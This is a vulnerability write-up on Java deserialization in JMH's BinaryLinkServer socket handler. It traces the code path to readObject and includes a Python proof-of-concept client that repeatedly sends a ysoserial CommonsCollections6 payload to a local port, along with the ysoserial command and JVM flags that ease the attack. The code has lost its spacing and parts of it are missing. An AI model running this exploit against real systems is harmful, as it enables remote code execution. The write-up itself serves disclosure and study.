I would like to declare that this article can only serve as a learning approach for deserialization auditing and corresponding script writing, as it is actually difficult to exploit this vulnerability
Analysis
In the code (src/main/java/org/openjdk/jmh/runner/link/BinaryLinkServer.java L270), I found that ‘ois’ belongs to the handler method, which is a constructor, in here, is is initialized to socket.getInputStream():
// eager OOS initialization, let the other party read the stream header oos = new ObjectOutputStream(new BufferedOutputStream(os, BUFFER_SIZE)); oos.flush(); }
then the ‘socket’ data stream is encapsulated into ‘ois’: L279
1 2 3
publicvoidrun(){ try { ois = new ObjectInputStream(new BufferedInputStream(is, BUFFER_SIZE));
subsequently, the data stream was deserialized using ‘readObject’: L287
1 2
Object obj; while ((obj = ois.readObject()) != null) {
It seems that this is a classic deserialization vulnerability,next, we need to find the entrance to make use of it.
Follow up and see that ‘Handler’ is called in ‘Acceptor’ L216
1 2 3 4 5 6 7 8 9 10 11 12 13 14
publicAcceptor()throws IOException { listenAddress = getListenAddress(); server = new ServerSocket(getListenPort(), 50, listenAddress); }
@Override publicvoidrun(){ try { while (!Thread.interrupted()) { Socket clientSocket = server.accept(); Handler r = new Handler(clientSocket); //here if (!handler.compareAndSet(null, r)) { thrownew IllegalStateException("The handler is already registered"); }
Acceptor is also a constructor, so check where it was called: L206
1 2 3 4 5 6
}
acceptor = new Acceptor(); //here acceptor.start();
handler = new AtomicReference<>();
It belongs to the “BinaryLinkServer” constructor,runSeparate called the ‘BinaryLinkServer’ method: src/main/java/org/openjdk/jmh/runner/Runner.java L584
if (actionPlan.getMeasurementActions().size() != 1) { thrownew IllegalStateException("Expect only single benchmark in the action plan, but was " + actionPlan.getMeasurementActions().size()); }
BinaryLinkServer server = null; try { server = new BinaryLinkServer(options, out); //here
Multimap<BenchmarkParams, BenchmarkResult> results = new TreeMultimap<>(); List<ActionPlan> plan = getActionPlans(benchmarks); //Pay attention to this method, it will set 'Type' to 'FORKED'`
etaBeforeBenchmarks(plan);
try { for (ActionPlan r : plan) { Multimap<BenchmarkParams, BenchmarkResult> res; switch (r.getType()) { case EMBEDDED: res = runBenchmarksEmbedded(r); break; case FORKED: res = runSeparate(r); //here break;
There is a condition here that the ‘runSeparate’ method will only be call when the ‘Type’ is ‘FORKED’, but this is not a concern because in the ‘getActionPlans’ method above, ‘FORKED’ has been initialized as Type L54
1 2 3 4 5 6 7 8 9 10 11 12 13
private List<ActionPlan> getActionPlans(Set<BenchmarkListEntry> benchmarks){ ActionPlan base = new ActionPlan(ActionType.FORKED); Returning to the main topic, 'runBenchmarks' will be called by the 'internalRun' method L309 benchmarks.clear(); benchmarks.addAll(newBenchmarks); }
public Collection<RunResult> run()throws RunnerException { if (JMH_LOCK_IGNORE) { out.println("# WARNING: JMH lock is ignored by user request, make sure no other JMH instances are running"); return internalRun();//here }
final String tailMsg = " the JMH lock (" + JMH_LOCK_FILE + "), exiting. Use -Djmh.ignoreLock=true to forcefully continue.";
File lockFile; try { lockFile = new File(JMH_LOCK_FILE); lockFile.createNewFile();
// Make sure the lock file is world-writeable, otherwise the lock file created by current // user would not work for any other user, always failing the run. lockFile.setWritable(true, false); } catch (IOException e) { thrownew RunnerException("ERROR: Unable to create" + tailMsg, e); }
try (RandomAccessFile raf = new RandomAccessFile(lockFile, "rw"); FileLock lock = raf.getChannel().tryLock()) { if (lock == null) { // Lock acquisition failed, pretend this was the overlap. thrownew OverlappingFileLockException(); } return internalRun();//here
which is the entry point to ‘jmh’, we can see from the Sample that: src/main/java/org/openjdk/jmh/samples/* for example JMHSample_01_HelloWorld.java
So now the entrance has been found, but there is one question, the trigger point for this vulnerability is a socket’s function, so we need to know his port before we can communicate: in BinaryLinkServer class L194
It listens to all ports, which means the ports are random, but jmh.link.port can be specified by command or written in code: -Djmh.link.port=9090 Now, assuming we already know the port, can write a client that sends malicious data to it, after continuous improvement, a usable POC was ultimately obtained: use python3 and ysoserial
print(f"error {host}:{port},reached maximum number of attempts") returnNone
client_socket = connect_to_server()
if client_socket: try: #Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser withopen("cc6calc.ser", "rb") as file: whileTrue: data_to_send = file.read(1024) ifnot data_to_send: break client_socket.send(data_to_send) response_data = client_socket.recv(1024) print(f"Response received from the server: {response_data.decode('utf-8', 'replace')}")
finally: client_socket.close()
Pasting dependencies in pom to simulate a real web environment:
Finally, be sure to run POC first before running the jmh project:
Run the src/main/java/org/openjdk/jmh/samples/JMHSample_01_HelloWorld.java
In summary, this is a deserialization issue caused by socket communication, to exploit this issue, it is necessary to know the port number and the POC must first run before the project, this is due to code reasons:
1 2 3
if (!handler.compareAndSet(null, r)) { thrownew IllegalStateException("The handler is already registered"); }
After a while
I discovered a simpler attack scenario, when running “jmh” with the parameter “-Djmh.link.port=9090 -Djmh.ignoreLock=true” (and to use multiple “benchmarks”, this parameter must be added), it not only specifies the port, but also allows other “benchmarks” to be executed when the “jmh.lock” file exists, that is to say, by specifying these two parameters to the “jmh” project, I don’t have to restart the project to exploit the vulnerability, don’t worry about the POC execution order. As long as “benchmarks” are used, vulnerabilities will be triggered
Next, I will test “JMHSample_1_HelloWorld”, “JMHSample_2_BenchmarkModes”, “JMHSample_ 03_States”, “JMHSample_ 04_DefaultState”, and “JMHSample_ 05_StatesFixtures”
Run the project:
Run the POC:
After running POC, project the first benchmarks will report error:
But it’s not important, restart POC, run the other project, the subsequent benchmarks will trigger vulnerabilities:
For this, I have made some improvements to the POC, enable the script to continuously connect to the target port and send malicious data, no need to manually restart anything anymore, just wait for benchmarks to run:
defconnect_to_server(): max_attempts = 100000#Less than 10000 connections will not end the script, the purpose is to maintain a continuous connection attempts = 0
while attempts < max_attempts: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "127.0.0.1" port = 9090
try: client_socket.connect((host, port)) print(f"connect to {host}:{port}") return client_socket
print(f"error {host}:{port},reached maximum number of attempts") returnNone
#Even if the server closes the connection, it will not end the POC whileTrue: client_socket = connect_to_server()
if client_socket: try: #Generate a payload for 'commons-collections' using 'ysoserial',command:java -jar ysoserial.jar CommonsCollections6 "calc" > cc6calc.ser withopen("cc6calc.ser", "rb") as file: whileTrue: data_to_send = file.read(1024) ifnot data_to_send: break client_socket.send(data_to_send) response_data = client_socket.recv(1024) print(f"response received from the server: {response_data.decode('utf-8', 'replace')}")
finally: client_socket.close()
As I said before, this loophole is difficult to exploit and can only be used for learning.
Disclaimer: This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.